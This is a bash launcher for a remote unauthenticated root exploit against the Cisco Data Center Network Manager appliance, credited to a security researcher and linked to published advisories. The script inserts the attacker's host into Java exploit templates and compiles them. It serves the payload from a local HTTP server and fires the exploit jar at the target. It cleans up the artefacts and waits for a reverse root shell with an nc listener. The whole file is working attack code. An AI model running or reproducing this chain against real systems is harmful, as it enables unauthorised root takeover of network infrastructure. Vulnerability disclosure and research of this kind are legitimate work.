#!/bin/bash

echo -e "\e[1;36mRemote Unauthenticated root Exploit for Cisco Data Center Network Manager virtual appliance\e[0m"
echo "  Tested on versions 11.5(1) and 11.5(2)"
echo -e "\e[1;34mby Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) from Agile Information Security\e[0m"
echo ""
echo "For more info refer to the advisory:"
echo "  https://github.com/pedrib/PoC/tree/master/advisories/Cisco/DCNMPwn.md"
echo "  https://www.zerodayinitiative.com/advisories/ZDI-22-506/"
echo ""

JAVA=`javac -version 2>&1 | grep '1.8.0'`
if [[ -z $JAVA ]]; then
  echo "\e[1;31mThis exploit requires the Java 8 compiler (javac) in the path\e[0m"
  exit 1
fi

if [[ ! "$#" -eq 2 ]]; then
  echo -e "\e[1;31mUsage: ./DCNMPwn.sh <RHOST> <LHOST>\e[0m"
  exit 1
fi

RHOST="$1"
LHOST="$2"

#1: Prepare and build the Exploit and DCNMCrypto utilities, as well as the pwned script
sed "s/LHOST_XXX/$LHOST/g" ExploitTemplate.java > Exploit.java
sed "s/LHOST_XXX/$LHOST/g" pwnedTemplate > pwned
javac Exploit.java
javac DCNMCrypto.java

#2: We assume DCNMPwn.jar is already built and in the same dir
echo "Starting classloader HTTP server on port 4445"
python2 -m SimpleHTTPServer 4445 &
PYTHONPID=$!

#3: Pull it all together and receive Shelly!
echo "Firing up request and sending to $RHOST"
sleep 5 && java -jar DCNMPwn.jar "https://$RHOST" "$LHOST" 4445 Exploit 2>/dev/null &

sleep 10 && kill $PYTHONPID >/dev/null &
sleep 10 && rm pwned Exploit.java Exploit.class DCNMCrypto.class &

echo "Starting reverse shell listener on port 4446, Shelly is coming soon!"
echo ""
nc -lvknp 4446

